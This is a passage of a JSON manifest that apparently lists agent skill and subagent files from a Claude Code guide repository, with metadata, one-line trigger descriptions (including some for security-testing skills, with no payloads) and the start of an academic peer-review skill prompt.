-->","isInternal":false,"tokens":1082,"sizeBytes":4357},{"name":"mobile-optimization.md","path":"skills/three-best-practices/rules/mobile-optimization.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/mobile-optimization.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fmobile-optimization.md -->","isInternal":false,"tokens":1352,"sizeBytes":5266},{"name":"object-pooling.md","path":"skills/three-best-practices/rules/object-pooling.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/object-pooling.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fobject-pooling.md -->","isInternal":false,"tokens":728,"sizeBytes":2972},{"name":"physics-integration.md","path":"skills/three-best-practices/rules/physics-integration.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/physics-integration.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fphysics-integration.md -->","isInternal":false,"tokens":1298,"sizeBytes":4852},{"name":"postprocessing-optimization.md","path":"skills/three-best-practices/rules/postprocessing-optimization.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/postprocessing-optimization.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fpostprocessing-optimization.md -->","isInternal":false,"tokens":841,"sizeBytes":3501},{"name":"raycasting-optimization.md","path":"skills/three-best-practices/rules/raycasting-optimization.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/raycasting-optimization.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fraycasting-optimization.md -->","isInternal":false,"tokens":1297,"sizeBytes":4919},{"name":"render-delta-time.md","path":"skills/three-best-practices/rules/render-delta-time.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/render-delta-time.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Frender-delta-time.md -->","isInternal":false,"tokens":440,"sizeBytes":1751},{"name":"setup-use-import-maps.md","path":"skills/three-best-practices/rules/setup-use-import-maps.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/setup-use-import-maps.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fsetup-use-import-maps.md -->","isInternal":false,"tokens":411,"sizeBytes":1521},{"name":"shader-mobile.md","path":"skills/three-best-practices/rules/shader-mobile.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/shader-mobile.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fshader-mobile.md -->","isInternal":false,"tokens":847,"sizeBytes":3033},{"name":"tsl-complete-reference.md","path":"skills/three-best-practices/rules/tsl-complete-reference.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/tsl-complete-reference.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Ftsl-complete-reference.md -->","isInternal":false,"tokens":1965,"sizeBytes":7264},{"name":"tsl-compute-shaders.md","path":"skills/three-best-practices/rules/tsl-compute-shaders.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/tsl-compute-shaders.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Ftsl-compute-shaders.md -->","isInternal":false,"tokens":1257,"sizeBytes":4653},{"name":"tsl-material-slots.md","path":"skills/three-best-practices/rules/tsl-material-slots.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/tsl-material-slots.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Ftsl-material-slots.md -->","isInternal":false,"tokens":917,"sizeBytes":3229},{"name":"tsl-post-processing.md","path":"skills/three-best-practices/rules/tsl-post-processing.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/tsl-post-processing.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Ftsl-post-processing.md -->","isInternal":false,"tokens":1228,"sizeBytes":4653},{"name":"tsl-why-use.md","path":"skills/three-best-practices/rules/tsl-why-use.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/tsl-why-use.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Ftsl-why-use.md -->","isInternal":false,"tokens":625,"sizeBytes":2419},{"name":"webgpu-renderer.md","path":"skills/three-best-practices/rules/webgpu-renderer.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/webgpu-renderer.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fwebgpu-renderer.md -->","isInternal":false,"tokens":741,"sizeBytes":3194},{"name":"webxr-setup.md","path":"skills/three-best-practices/rules/webxr-setup.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/webxr-setup.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fwebxr-setup.md -->","isInternal":false,"tokens":1305,"sizeBytes":5578},{"name":"SKILL.md","path":"skills/three-best-practices/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/SKILL.md","title":"three-best-practices","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2FSKILL.md -->","frontmatter":{"name":"three-best-practices","description":"Three.js performance optimization and best practices guidelines. Use when writing, reviewing, or optimizing Three.js code. Triggers on tasks involving 3D scenes, WebGL/WebGPU rendering, geometries, materials, textures, lighting, shaders, or TSL.","license":"MIT","metadata":{"author":"three-agent-skills","version":"2.1.0","three-version":"0.182.0+"}},"isInternal":false,"tokens":3547,"sizeBytes":13205},{"name":"SKILL.md","path":"skills/timeline-builder/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/timeline-builder/SKILL.md","title":"timeline-builder","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftimeline-builder%2FSKILL.md -->","frontmatter":{"name":"timeline-builder","description":"Generate beautiful interactive timeline HTML pages from JSON data, with vertical, horizontal, or dual-side layouts, collapsible details, and custom colors. Ideal for project milestones, company histories, or resumes. Triggered when a user mentions 'timeline', 'history of events', 'project milestones', 'release log', or asks to visualize a chronological sequence of data.","license":"MIT","type":"tool","tags":["timeline","html","visualization","interactive","responsive"]},"isInternal":false,"tokens":881,"sizeBytes":3673},{"name":"SKILL.md","path":"skills/top-web-vulnerabilities/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/top-web-vulnerabilities/SKILL.md","title":"top-web-vulnerabilities","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftop-web-vulnerabilities%2FSKILL.md -->","frontmatter":{"name":"top-web-vulnerabilities","description":"This skill should be used when the user asks to \"identify web application vulnerabilities\", \"explain common security flaws\", \"understand vulnerability categories\", \"learn about injection attacks\", \"review access control weaknesses\", \"analyze API security issues\", \"assess security misconfigurations\", \"understand client-side vulnerabilities\", \"examine mobile and IoT security flaws\", or \"reference the OWASP-aligned vulnerability taxonomy\". Use this skill to provide comprehensive vulnerability definitions, root causes, impacts, and mitigation strategies across all major web security categories.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":5232,"sizeBytes":24254},{"name":"SKILL.md","path":"skills/tos-clause-scanner/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/tos-clause-scanner/SKILL.md","title":"tos-clause-scanner","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftos-clause-scanner%2FSKILL.md -->","frontmatter":{"name":"tos-clause-scanner","description":"Audit Terms of Service, user agreements, and privacy policies for consumer risks, producing a structured report that flags unfair clauses, data traps, and liability issues. Trigger when a user asks to review, audit, or analyze a ToS, privacy policy, or user agreement, or mentions specific concerns like auto-renewal or data authorization.","license":"MIT"},"isInternal":false,"tokens":2838,"sizeBytes":13072},{"name":"advanced-types.md","path":"skills/typescript-pro/references/advanced-types.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/typescript-pro/references/advanced-types.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftypescript-pro%2Freferences%2Fadvanced-types.md -->","isInternal":false,"tokens":1796,"sizeBytes":6539},{"name":"configuration.md","path":"skills/typescript-pro/references/configuration.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/typescript-pro/references/configuration.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftypescript-pro%2Freferences%2Fconfiguration.md -->","isInternal":false,"tokens":2416,"sizeBytes":9283},{"name":"patterns.md","path":"skills/typescript-pro/references/patterns.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/typescript-pro/references/patterns.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftypescript-pro%2Freferences%2Fpatterns.md -->","isInternal":false,"tokens":2841,"sizeBytes":11318},{"name":"type-guards.md","path":"skills/typescript-pro/references/type-guards.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/typescript-pro/references/type-guards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftypescript-pro%2Freferences%2Ftype-guards.md -->","isInternal":false,"tokens":1983,"sizeBytes":8026},{"name":"utility-types.md","path":"skills/typescript-pro/references/utility-types.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/typescript-pro/references/utility-types.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftypescript-pro%2Freferences%2Futility-types.md -->","isInternal":false,"tokens":2315,"sizeBytes":8633},{"name":"SKILL.md","path":"skills/typescript-pro/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/typescript-pro/SKILL.md","title":"typescript-pro","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftypescript-pro%2FSKILL.md -->","frontmatter":{"name":"typescript-pro","description":"Use when building TypeScript applications requiring advanced type systems, generics, or full-stack type safety. Invoke for type guards, utility types, tRPC integration, monorepo setup.","license":"MIT","metadata":{"author":"https://github.com/Jeffallan","version":"1.0.0","domain":"language","triggers":"TypeScript, generics, type safety, conditional types, mapped types, tRPC, tsconfig, type guards, discriminated unions","role":"specialist","scope":"implementation","output-format":"code","related-skills":"fullstack-guardian, api-designer"}},"isInternal":false,"tokens":774,"sizeBytes":3829},{"name":"structure_contract.md","path":"skills/vc-industry-research/references/structure_contract.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/vc-industry-research/references/structure_contract.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fvc-industry-research%2Freferences%2Fstructure_contract.md -->","isInternal":false,"tokens":2995,"sizeBytes":11005},{"name":"style_contract.md","path":"skills/vc-industry-research/references/style_contract.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/vc-industry-research/references/style_contract.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fvc-industry-research%2Freferences%2Fstyle_contract.md -->","isInternal":false,"tokens":2511,"sizeBytes":9999},{"name":"SKILL.md","path":"skills/vc-industry-research/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/vc-industry-research/SKILL.md","title":"vc-industry-research","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fvc-industry-research%2FSKILL.md -->","frontmatter":{"name":"vc-industry-research","description":"Generate professional primary market / venture capital industry research reports, including sector deep-dives, investment memos, and market analysis. Produces detailed PDF reports covering TMT, consumer, healthcare, and industrials. Triggered by requests to analyze an industry, create a market report, write a sector deep-dive, or generate any PE/VC-style research document in Chinese or English."},"isInternal":false,"tokens":1521,"sizeBytes":6542},{"name":"SKILL.md","path":"skills/windows-privilege-escalation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/windows-privilege-escalation/SKILL.md","title":"windows-privilege-escalation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fwindows-privilege-escalation%2FSKILL.md -->","frontmatter":{"name":"windows-privilege-escalation","description":"This skill should be used when the user asks to \"escalate privileges on Windows,\" \"find Windows privesc vectors,\" \"enumerate Windows for privilege escalation,\" \"exploit Windows misconfigurations,\" or \"perform post-exploitation privilege escalation.\" It provides comprehensive guidance for discovering and exploiting privilege escalation vulnerabilities in Windows environments.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":4027,"sizeBytes":14367},{"name":"SKILL.md","path":"skills/wireshark-analysis/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/wireshark-analysis/SKILL.md","title":"wireshark-analysis","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fwireshark-analysis%2FSKILL.md -->","frontmatter":{"name":"wireshark-analysis","description":"This skill should be used when the user asks to \"analyze network traffic with Wireshark\", \"capture packets for troubleshooting\", \"filter PCAP files\", \"follow TCP/UDP streams\", \"detect network anomalies\", \"investigate suspicious traffic\", or \"perform protocol analysis\". It provides comprehensive techniques for network packet capture, filtering, and analysis using Wireshark.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":2721,"sizeBytes":12164},{"name":"SKILL.md","path":"skills/wordpress-penetration-testing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/wordpress-penetration-testing/SKILL.md","title":"wordpress-penetration-testing","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fwordpress-penetration-testing%2FSKILL.md -->","frontmatter":{"name":"wordpress-penetration-testing","description":"This skill should be used when the user asks to \"pentest WordPress sites\", \"scan WordPress for vulnerabilities\", \"enumerate WordPress users, themes, or plugins\", \"exploit WordPress vulnerabilities\", or \"use WPScan\". It provides comprehensive WordPress security assessment methodologies.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":3207,"sizeBytes":12227},{"name":"SKILL.md","path":"skills/xss-html-injection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/xss-html-injection/SKILL.md","title":"xss-html-injection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fxss-html-injection%2FSKILL.md -->","frontmatter":{"name":"xss-html-injection","description":"This skill should be used when the user asks to \"test for XSS vulnerabilities\", \"perform cross-site scripting attacks\", \"identify HTML injection flaws\", \"exploit client-side injection vulnerabilities\", \"steal cookies via XSS\", or \"bypass content security policies\". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":3034,"sizeBytes":13232},{"name":"change-implementer.md","path":"agents/.claude/agents/change-implementer.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/agents/.claude/agents/change-implementer.md","title":"change-implementer","category":"subagent-persona","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Fchange-implementer.md -->","frontmatter":{"name":"change-implementer","description":"Use when requirements, an approved design, or a root cause are clear and one scoped, complete implementation is authorized. Do not use for unresolved exploration, product decisions, diagnosis-only work, or review-only requests.","tools":["Read","Edit","Write","Grep","Glob","Bash","PowerShell"],"model":"opus","permissionMode":"default","effort":"max"},"isInternal":false,"tokens":440,"sizeBytes":2214},{"name":"code-reviewer.md","path":"agents/.claude/agents/code-reviewer.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/agents/.claude/agents/code-reviewer.md","title":"code-reviewer","category":"subagent-persona","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Fcode-reviewer.md -->","frontmatter":{"name":"code-reviewer","description":"Use proactively after an implementation or when an existing diff needs correctness, regression, concurrency, compatibility, and meaningful verification review. Do not use for implementation or a dedicated exploitability assessment.","tools":["Read","Grep","Glob","Bash","PowerShell","LSP"],"model":"opus","permissionMode":"plan","effort":"max"},"isInternal":false,"tokens":392,"sizeBytes":1951},{"name":"codebase-mapper.md","path":"agents/.claude/agents/codebase-mapper.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/agents/.claude/agents/codebase-mapper.md","title":"codebase-mapper","category":"subagent-persona","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Fcodebase-mapper.md -->","frontmatter":{"name":"codebase-mapper","description":"Use proactively when a task needs local repository structure, entry points, ownership, data flow, or change-surface mapping before a decision. Do not use for external documentation research, implementation, or post-change review.","tools":["Read","Grep","Glob","Bash","PowerShell","LSP"],"model":"opus","permissionMode":"plan","effort":"max"},"isInternal":false,"tokens":411,"sizeBytes":2025},{"name":"official-docs-researcher.md","path":"agents/.claude/agents/official-docs-researcher.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/agents/.claude/agents/official-docs-researcher.md","title":"official-docs-researcher","category":"subagent-persona","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Fofficial-docs-researcher.md -->","frontmatter":{"name":"official-docs-researcher","description":"Use proactively when a decision depends on current official documentation, release notes, schemas, supported models, APIs, or version-specific behavior. Do not use when the primary work is tracing local code or implementing a change.","tools":["Read","Grep","Glob","Bash","PowerShell","WebFetch","WebSearch"],"model":"fable","permissionMode":"plan","effort":"max"},"isInternal":false,"tokens":412,"sizeBytes":2110},{"name":"root-cause-debugger.md","path":"agents/.claude/agents/root-cause-debugger.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/agents/.claude/agents/root-cause-debugger.md","title":"root-cause-debugger","category":"subagent-persona","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Froot-cause-debugger.md -->","frontmatter":{"name":"root-cause-debugger","description":"Use proactively when a failure must be reproduced, isolated, and causally explained before a fix is written. Do not use when the cause is already established and implementation is authorized.","tools":["Read","Grep","Glob","Bash","PowerShell","LSP"],"model":"opus","permissionMode":"default","effort":"max"},"isInternal":false,"tokens":400,"sizeBytes":1938},{"name":"runtime-verifier.md","path":"agents/.claude/agents/runtime-verifier.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/agents/.claude/agents/runtime-verifier.md","title":"runtime-verifier","category":"subagent-persona","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Fruntime-verifier.md -->","frontmatter":{"name":"runtime-verifier","description":"Use after a completed change when acceptance criteria must be exercised through the real user-facing, CLI, service, browser, filesystem, or integration boundary. Do not use to implement fixes or when the change is incomplete.","tools":["Read","Grep","Glob","Bash","PowerShell"],"model":"opus","permissionMode":"default","effort":"max"},"isInternal":false,"tokens":412,"sizeBytes":2096},{"name":"security-reviewer.md","path":"agents/.claude/agents/security-reviewer.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/agents/.claude/agents/security-reviewer.md","title":"security-reviewer","category":"subagent-persona","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Fsecurity-reviewer.md -->","frontmatter":{"name":"security-reviewer","description":"Use proactively when attacker-controlled input, trust boundaries, authorization decisions, sensitive sinks, secrets, or security-impacting changes require exploitability analysis. Do not use for generic correctness review without a meaningful security boundary.","tools":["Read","Grep","Glob","Bash","PowerShell","LSP"],"model":"opus","permissionMode":"plan","effort":"max"},"isInternal":false,"tokens":405,"sizeBytes":2061},{"name":"solution-architect.md","path":"agents/.claude/agents/solution-architect.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/agents/.claude/agents/solution-architect.md","title":"solution-architect","category":"subagent-persona","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Fsolution-architect.md -->","frontmatter":{"name":"solution-architect","description":"Use when established requirements and evidence leave multiple viable designs or cross-component boundaries that need explicit trade-offs before implementation. Do not use for a small specified fix or while the root cause is still unknown.","tools":["Read","Grep","Glob","Bash","PowerShell"],"model":"fable","permissionMode":"plan","effort":"max"},"isInternal":false,"tokens":386,"sizeBytes":2035},{"name":"README.md","path":"agents/README.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/agents/README.md","title":"Subagent: readme","category":"subagent-persona","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2FREADME.md -->","isInternal":false,"tokens":2799,"sizeBytes":12121}],"systemPromptSnippet":"<yakaai_skills repo=\"zebbern/claude-code-guide\">\n<!-- File: skills/academic-paper-reviewer/SKILL.md (Tokens: ~2013 | Category: anthropic-skill) -->\n---\nname: academic-paper-reviewer\ndescription: \"Simulates academic peer review, evaluating papers across Originality, Methodology, Results, and Writing to provide Major/Minor Revision recommendations with actionable feedback. Triggers when a user asks to \\\"review my paper,\\\" \\\"simulate peer review,\\\" or \\\"give my paper a peer review.\"\nlicense: MIT\n---\n\n# Academic Paper Reviewer — Simulated Peer Review\n\nYou are a senior academic reviewer with extensive cross-disciplinary peer review experience. When a user submits paper content (abstract, full text, or specific sections), you will conduct a systematic review across four core dimensions — **Originality, Methodology, Results, and Writing** — and provide structured Major/Minor Revision recommendations.\n\n---\n\n## Input Requirements\n\nAsk the user to provide the following information (at least the first two items):\n\n1. **Paper content**: Abstract, full text, or specific sections to be reviewed\n2. **Discipline**: e.g., Computer Science, Biomedical Sciences, Economics, Psychology, etc.\n3. **Target journal/conference** (optional): e.g., Nature, ICML, The Lancet — used to calibrate review standards\n4. **Review focus** (optional): e.g., the user is particularly concerned about methodological soundness or writing quality\n\nIf the user does not specify a target venue, apply the general standards of a top-tier journal in the given discipline.\n\n---\n\n## Four Review Dimensions\n\n### Dimension 1: Originality\n\nAssesses the paper's academic novelty and contribution to the existing body of knowledge.\n\n**Review criteria:**\n\n- **Novelty of the research question**: Is the problem insufficiently addressed? Does the paper propose a new perspective or framework?\n- **Differentiation from existing work**: Is the distinction from prior research clearly articulated? Does the Related Work section adequately cover key references?\n- **Significance of contributions**: Do the findings represent a meaningful advance in the field? Is this an incremental improvement or a paradigm shift?\n- **Theoretical or practical value**: Are the results generalizable or applicable in practice?\n\n**Common issue examples:**\n\n- Major: Core method is highly similar to published work without clarifying the fundamental differences\n- Major: Research question has already been well addressed; no new contributions identified\n- Minor: Related Work section misses important recent work in the field\n- Minor: Contribution claims are too vague; innovation points need more precise articulation\n\n### Dimension 2: Methodology\n\nAssesses the scientific rigor, soundness, and reproducibility of the research methods.\n\n**Review criteria:**\n\n- **Soundness of research design**: Can the experimental design answer the stated research questions? Are there confounding variables or biases?\n- **Rigor of technical approach**: Are the chosen methods appropriate for the problem? Are assumptions reasonable and clearly stated?\n- **Baselines and comparative experiments**: Are comparisons made against appropriate baselines? Are comparisons fair (same datasets, comparable model sizes, etc.)?\n- **Reproducibility**: Is the method description detailed enough? Are key implementation details, hyperparameter settings, code, or data provided?\n- **Statistical methods**: Is the sample size adequate? Are statistical tests appropriate? Are confidence intervals or effect sizes reported?\n\n**Common issue examples:**\n\n- Major: Missing ablation studies; cannot verify independent contributions of each component\n- Major: No comparison with current SOTA methods; insufficient evidence of claimed improvements\n- Major: Sample size insufficient to support statistical conclusions; power analysis needed\n- Minor: Hyperparameter choices lack justification or sensitivity analysis\n- Minor: Some experimental details are unclear, affecting reproducibility\n\n### Dimension 3: Results\n\nAssesses the reliability, completeness, and interpretive soundness of the experimental results.\n\n**Review criteria:**\n\n- **Reliability of results**: Were experiments run multiple times? Are standard deviations or confidence intervals reported?\n- **Clarity of data presentation**: Are figures and tables clear, accurate, and informative? Is numerical precision appropriate?\n- **Consistency between results and conclusions**: Are the conclusions adequately supported by experimental evidence? Is there over-interpretation or selective reporting?\n- **Handling of negative results**: Are unexpected or unfavorable results honestly reported? Are reasonable explanations provided?\n- **Limitations analysis**: Are the limitations of the methods and results thoroughly discussed? Are future improvement directions identified?\n\n**Common issue examples:**\n\n- Major: Key experiments lack error bars or statistical significance tests\n- Major: Conclusions exceed the scope supported by experimental evidence\n- Major: Only favorable results are reported; potential reporting bias\n- Minor: Some figures have low resolution or unclear labels\n- Minor: Limitations section is too brief; core limitations are not discussed\n\n### Dimension 4: Writing\n\nAssesses the quality of expression, logical structure, and adherence to academic conventions.\n\n**Review criteria:**\n\n- **Overall structure**: Is the paper well-organized? Is the logic between sections coherent?\n- **Abstract quality**: Does the abstract accurately summarize the research question, methods, key findings, and contributions?\n- **Language quality**: Is the writing fluent? Are there grammatical errors, vague expressions, or redundancy?\n- **Terminology consistency**: Is specialized terminology used consistently and accurately? Are symbols defined at first occurrence?\n- **Citation standards**: Does the reference format comply with the target venue's requirements? Are citations appropriate (no excessive self-citation, no missing key references)?\n- **Length control**: Are section lengths reasonable? Is there obvious redundancy or insufficiency?\n\n**Common issue examples:**\n\n- Major: Paper's logical structure is disorganized; main argument is hard to follow\n- Minor: Abstract does not mention quantitative metrics from key experimental results\n- Minor: Some paragraphs are overly long and lack topic sentences; splitting recommended\n- Minor: Multiple grammatical errors in the English writing; native speaker proofreading recommended\n- Minor: Figure/table numbering does not match in-text references\n\n---\n\n## Severity Definitions\n\n### Major Revision\n\nCritical issues that must be addressed — the paper is not publishable without resolving these:\n\n- Fundamental flaws in experimental design\n- Missing key comparative experiments\n- Conclusions lack data support or involve over-interpretation\n- Insufficient originality; unclear differentiation from existing work\n- Obvious errors in technical methods\n\n### Minor Revision\n\nRecommended improvements that would significantly enhance paper quality:\n\n- Writing quality can be further improved\n- Some details are insufficiently described\n- Figures and tables can be optimized\n- Additional analysis or discussion needed\n- Formatting issues such as citation style\n\n---\n\n## Output Format\n\nFor each paper submitted, produce a review report in the following structure:\n\n```\n## Peer Review Report\n\n### Overall Assessment\n\n- **Recommendation**: [Accept / Minor Revision / Major Revision / Reject]\n- **Overall Score**: [1-10]\n- **Summary**: [One-sentence overall evaluation, including main strengths and core issues]\n\n---\n\n### 1. Originality\n\n**Score**: [1-10]\n\n**Strengths:**\n- [List originality highlights]\n\n**Issues & Suggestions:**\n- 🔴 **Major**: [Issue description] → [Specific revision suggestion]\n- 🟡 **Minor**: [Issue description] → [Specific revision suggestion]\n\n---\n\n### 2. Methodology\n\n**Score**: [1-10]\n\n**Strengths:**\n- [List methodology highlights]\n\n**Issues & Suggestions:**\n- 🔴 **Major**: [Issue description] → [Specific revision suggestion]\n- 🟡 **Minor**: [Issue description] → [Specific revision 